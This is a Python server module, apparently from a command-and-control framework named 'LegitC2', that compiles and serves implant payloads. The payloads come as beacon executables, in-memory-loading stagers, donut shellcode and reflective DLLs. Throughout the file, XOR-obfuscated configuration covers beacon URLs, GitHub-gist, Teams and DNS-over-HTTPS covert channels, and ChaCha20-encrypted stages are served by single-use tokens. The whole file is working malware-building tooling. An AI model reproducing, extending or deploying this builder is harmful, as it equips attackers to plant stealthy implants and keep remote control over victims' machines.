"""
POST /api/build — payload builder (admin only).

output = "standalone" → agent.exe  (direct beacon, no stager)
output = "stager"     → stager.exe (downloads + in-memory loads agent.exe)
                        also registers the encrypted stage at /api/stage/<token>
"""
from __future__ import annotations
import asyncio
import os
import sys
import secrets
import subprocess
from datetime import datetime, timezone

from fastapi import APIRouter, Depends, HTTPException
from fastapi.responses import FileResponse, Response
from pydantic import BaseModel

from routers.auth import verify_admin

router = APIRouter(tags=["build"])

_build_lock = asyncio.Lock()

# XOR key — must match agent/tools/obfuscate.py and gen_stager_config.py
_XOR_KEY     = b"\x7a\x3f\x91\xc4\x52\x88\xb1\xde\xad\xbe\xef\x13\x37\xca\xfe\x42"
_XOR_KEY_LEN = len(_XOR_KEY)

_SERVER_DIR  = os.path.dirname(os.path.dirname(__file__))
_AGENT_DIR   = os.path.normpath(os.path.join(_SERVER_DIR, "..", "agent"))
_MAKE_EXE    = "C:/msys64/mingw64/bin/mingw32-make.exe"
_PYTHON_EXE  = sys.executable
_AGENT_EXE   = os.path.join(_AGENT_DIR, "agent.exe")
_STAGER_EXE  = os.path.join(_AGENT_DIR, "stager.exe")
_CONFIG_H    = os.path.join(_AGENT_DIR, "include", "agent_config.h")


class BuildRequest(BaseModel):
    output:             str = "standalone"  # standalone | stager
    channel:            str = "http"        # http | github | doh
    beacon_url:         str = ""
    stage_server_url:   str = ""            # base URL for stager stage download (stager only)
    beacon_interval:    int = 30000
    jitter_pct:         int = 40
    kill_date:          str = ""
    github_token:       str = ""
    gist_cmd:           str = ""
    gist_out:           str = ""
    doh_domain:         str = ""
    teams_tenant:       str = ""
    teams_client:       str = ""
    teams_secret:       str = ""
    teams_webhook:      str = ""
    teams_team_id:      str = ""
    teams_channel:      str = ""
    http_useragent:     str = ""            # custom UA; empty = random rotation
    http_extra_headers: str = ""            # extra HTTP headers, newline-delimited
    http_cert_pin:      str = ""            # SHA-256 hex fingerprint of server leaf cert


# ---- XOR / header generation helpers ----

def _xor_encode(data: bytes) -> list[int]:
    return [b ^ _XOR_KEY[i % _XOR_KEY_LEN] for i, b in enumerate(data)]


def _emit(name: str, value: str) -> str:
    if not value:
        return (
            f"/* {name}: not configured */\n"
            f"static const unsigned char CFG_{name}[] = {{0x00}};\n"
            f"#define CFG_{name}_LEN 0\n\n"
        )
    enc     = _xor_encode(value.encode())
    arr     = ", ".join(f"0x{b:02x}" for b in enc)
    preview = value[:32] + ("…" if len(value) > 32 else "")
    return (
        f"/* {name} — XOR-encoded ({len(enc)} bytes) */\n"
        f"/* plaintext preview: {preview!r} */\n"
        f"static const unsigned char CFG_{name}[] = {{{arr}, 0x00}};\n"
        f"#define CFG_{name}_LEN {len(enc)}\n\n"
    )


def _generate_agent_config_h(req: BuildRequest) -> str:
    kill_ts = "0"
    if req.kill_date:
        try:
            dt      = datetime.strptime(req.kill_date, "%Y-%m-%d").replace(tzinfo=timezone.utc)
            kill_ts = str(int(dt.timestamp()))
        except ValueError:
            pass

    key_hex = ", ".join(f"0x{b:02x}" for b in _XOR_KEY)
    h = (
        "/* AUTO-GENERATED by LegitC2 payload builder — do not edit manually. */\n"
        "#ifndef AGENT_CONFIG_H\n"
        "#define AGENT_CONFIG_H\n\n"
        f"#define CFG_XOR_KEY_LEN {_XOR_KEY_LEN}\n"
        f"static const unsigned char CFG_XOR_KEY[{_XOR_KEY_LEN}] = {{ {key_hex} }};\n\n"
    )
    # Normalise extra headers: convert bare \n to \r\n for WinHTTP
    extra_hdrs = req.http_extra_headers.replace("\r\n", "\n").replace("\n", "\r\n")
    if extra_hdrs and not extra_hdrs.endswith("\r\n"):
        extra_hdrs += "\r\n"

    values: dict[str, str] = {
        "GITHUB_TOKEN":       req.github_token if req.channel == "github" else "",
        "GIST_CMD_ID":        req.gist_cmd     if req.channel == "github" else "",
        "GIST_OUT_ID":        req.gist_out     if req.channel == "github" else "",
        "TEAMS_TENANT":       req.teams_tenant  if req.channel == "teams" else "",
        "TEAMS_CLIENT":       req.teams_client  if req.channel == "teams" else "",
        "TEAMS_SECRET":       req.teams_secret  if req.channel == "teams" else "",
        "TEAMS_WEBHOOK":      req.teams_webhook if req.channel == "teams" else "",
        "TEAMS_TEAM_ID":      req.teams_team_id if req.channel == "teams" else "",
        "TEAMS_CHANNEL":      req.teams_channel if req.channel == "teams" else "",
        "BEACON_URL":         req.beacon_url   if req.channel == "http"   else "",
        "DOH_DOMAIN":         req.doh_domain   if req.channel == "doh"    else "",
        "KILL_DATE":          kill_ts,
        "HTTP_USERAGENT":     req.http_useragent,
        "HTTP_EXTRA_HEADERS": extra_hdrs if req.channel == "http" else "",
        "CERT_PIN":           req.http_cert_pin.strip().lower() if req.channel == "http" else "",
    }
    for name, value in values.items():
        h += _emit(name, value)
    h += "#endif /* AGENT_CONFIG_H */\n"
    return h


# ---- Make helpers ----

def _make(target: str, timeout: int = 120, env: dict | None = None) -> subprocess.CompletedProcess:
    return subprocess.run(
        [_MAKE_EXE, "-C", _AGENT_DIR, target],
        capture_output=True, text=True, timeout=timeout,
        env={**os.environ, **(env or {})},
    )


# ---- ChaCha20-Poly1305 (Python, for encrypting the stage on the server) ----

def _encrypt_stage(pe_bytes: bytes) -> tuple[bytes, str]:
    """Encrypt agent.exe with a fresh random key. Returns (blob, key_hex)."""
    from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
    key   = secrets.token_bytes(32)
    nonce = secrets.token_bytes(12)
    aead  = ChaCha20Poly1305(key)
    ct    = aead.encrypt(nonce, pe_bytes, None)   # ct includes tag
    blob  = nonce + ct                            # nonce(12) | ciphertext | tag(16)
    return blob, key.hex()


# ---- Endpoint ----

@router.post("/build")
async def build_payload(req: BuildRequest, _: str = Depends(verify_admin)):
    if _build_lock.locked():
        raise HTTPException(503, "Build already in progress — try again in a moment")

    async with _build_lock:
        # Step 1: write agent_config.h + compile agent.exe
        try:
            with open(_CONFIG_H, "w", encoding="utf-8") as f:
                f.write(_generate_agent_config_h(req))
        except OSError as e:
            raise HTTPException(500, f"Config write failed: {e}")

        try:
            r_cfg = _make("config")
        except FileNotFoundError:
            raise HTTPException(500, "make not found — MSYS2 required at C:/msys64")
        if r_cfg.returncode != 0:
            raise HTTPException(500, f"Config gen failed:\n{(r_cfg.stderr or r_cfg.stdout)[-1000:]}")

        try:
            r = _make("build-only")
        except FileNotFoundError:
            raise HTTPException(500, "make not found — MSYS2 required at C:/msys64")
        except subprocess.TimeoutExpired:
            raise HTTPException(500, "Agent compile timed out")

        if r.returncode != 0:
            raise HTTPException(500, f"Agent compile failed:\n{(r.stderr or r.stdout)[-2000:]}")
        if not os.path.exists(_AGENT_EXE):
            raise HTTPException(500, "agent.exe not found after build")

        # --- Shellcode: convert agent.exe → agent.bin via donut ---
        if req.output == "shellcode":
            sc_path = os.path.join(_AGENT_DIR, "agent.bin")
            pe2sc   = os.path.join(_AGENT_DIR, "tools", "pe2sc.py")
            try:
                r_sc = subprocess.run(
                    [_PYTHON_EXE, pe2sc, _AGENT_EXE, sc_path],
                    capture_output=True, text=True, timeout=120,
                )
            except subprocess.TimeoutExpired:
                raise HTTPException(500, "Shellcode conversion timed out")
            if r_sc.returncode != 0:
                detail = (r_sc.stderr or r_sc.stdout or "unknown error")[-2000:]
                raise HTTPException(500, f"Shellcode conversion failed:\n{detail}\n\nTip: pip install donut-shellcode")
            if not os.path.exists(sc_path):
                raise HTTPException(500, "agent.bin not found after shellcode conversion")
            return FileResponse(
                sc_path,
                media_type="application/octet-stream",
                filename="agent.bin",
                headers={"Content-Disposition": 'attachment; filename="agent.bin"'},
            )

        # --- Reflective DLL: compile agent.dll with custom ReflectiveLoader ---
        if req.output == "reflective_dll":
            dll_path = os.path.join(_AGENT_DIR, "agent.dll")
            try:
                r_dll = subprocess.run(
                    [_MAKE_EXE, "-C", _AGENT_DIR, "reflective-dll-only"],
                    capture_output=True, text=True, timeout=120,
                )
            except subprocess.TimeoutExpired:
                raise HTTPException(500, "Reflective DLL compile timed out")
            if r_dll.returncode != 0:
                detail = (r_dll.stderr or r_dll.stdout or "unknown error")[-2000:]
                raise HTTPException(500, f"Reflective DLL compile failed:\n{detail}")
            if not os.path.exists(dll_path):
                raise HTTPException(500, "agent.dll not found after build")
            return FileResponse(
                dll_path,
                media_type="application/octet-stream",
                filename="agent.dll",
                headers={"Content-Disposition": 'attachment; filename="agent.dll"'},
            )

        # --- Standalone: return agent.exe directly ---
        if req.output != "stager":
            return FileResponse(
                _AGENT_EXE,
                media_type="application/octet-stream",
                filename="agent.exe",
                headers={"Content-Disposition": 'attachment; filename="agent.exe"'},
            )

        # --- Stager: encrypt agent.exe, build stager.exe ---
        with open(_AGENT_EXE, "rb") as f:
            pe_bytes = f.read()

        blob, key_hex = _encrypt_stage(pe_bytes)

        # Generate single-use download token + register stage
        token = secrets.token_hex(32)
        base  = req.stage_server_url.rstrip("/") or "http://127.0.0.1:8000"
        stage_url = f"{base}/api/stage/{token}"

        # Generate stager_config.h
        gen_script = os.path.join(_AGENT_DIR, "tools", "gen_stager_config.py")
        try:
            r2 = subprocess.run(
                [_PYTHON_EXE, gen_script, "--url", stage_url, "--key", key_hex],
                capture_output=True, text=True, timeout=15,
            )
        except Exception as e:
            raise HTTPException(500, f"gen_stager_config failed: {e}")
        if r2.returncode != 0:
            raise HTTPException(500, f"gen_stager_config error:\n{r2.stderr}")

        # Compile stager
        try:
            r3 = _make("stager-only")
        except subprocess.TimeoutExpired:
            raise HTTPException(500, "Stager compile timed out")

        if r3.returncode != 0:
            raise HTTPException(500, f"Stager compile failed:\n{(r3.stderr or r3.stdout)[-2000:]}")
        if not os.path.exists(_STAGER_EXE):
            raise HTTPException(500, "stager.exe not found after build")

        # Register encrypted stage so GET /api/stage/<token> can serve it
        from routers.stage import register_stage
        register_stage(token, blob)

        return FileResponse(
            _STAGER_EXE,
            media_type="application/octet-stream",
            filename="stager.exe",
            headers={"Content-Disposition": 'attachment; filename="stager.exe"'},
        )
